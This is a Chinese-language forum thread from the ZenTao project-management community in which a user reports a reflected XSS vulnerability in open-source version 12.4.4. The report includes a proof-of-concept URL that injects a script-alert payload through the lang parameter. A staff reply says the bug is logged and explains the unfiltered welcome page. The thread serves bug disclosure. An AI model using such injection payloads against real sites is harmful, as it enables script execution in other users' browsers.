12.4.4的开源版存在XSS漏洞

回帖数 1

阅读数 2667

发表时间 2020-11-10 23:53:41

🦆

Mike

楼主

通过URL可以实现反射型XSS，以下是我的测试环境

http://116.196.122.211/?lang=cn'"></title><script>alert(928846)</script>

附件

1个回复

🥂

张玉洁

沙发

感谢反馈，这里我们已经记录bug，会在之后版本中修复。目前访问ip时显示的这个页面是禅道的欢迎页面，还没有登录到禅道系统中，欢迎页面目前没有添加到安全过滤中，可以参考这个手册去掉欢迎页面后再试一下：https://www.zentao.net/book/zentaopmshelp/131.html

2020-11-11 10:57:18 张玉洁回帖

联系我们

联系人

杨苗/高级客户经理

电话(微信)

13165050229

QQ号码

2692096539

联系邮箱

yangmiao@chandao.com

相关帖子

禅道产品
禅道开源版禅道企业版禅道旗舰版禅道IPD版 Gitee GitHub
核心功能
产品管理项目管理测试管理文档管理效能分析工作流
服务支持
咨询课程培训服务工作坊
帮助支持
禅道使用手册视频教程产品动态禅道博客禅道定制开发
关于我们
关于我们禅道软件最新动态禅道活动
禅道社区
积分排行积分商城禅道书院
联系方式
联系人：杨苗电话：13165050229微信：13165050229 Q Q：2692096539
北京、上海、深圳分部

友情链接：ZTF自动化测试框架 ZenData测试数据生成器喧喧渠成软件 ZDOO全协同企业管理软件 ZenDAS数据分析工具 ZenShot跨平台截图工具飞信鼎即时通讯解决方案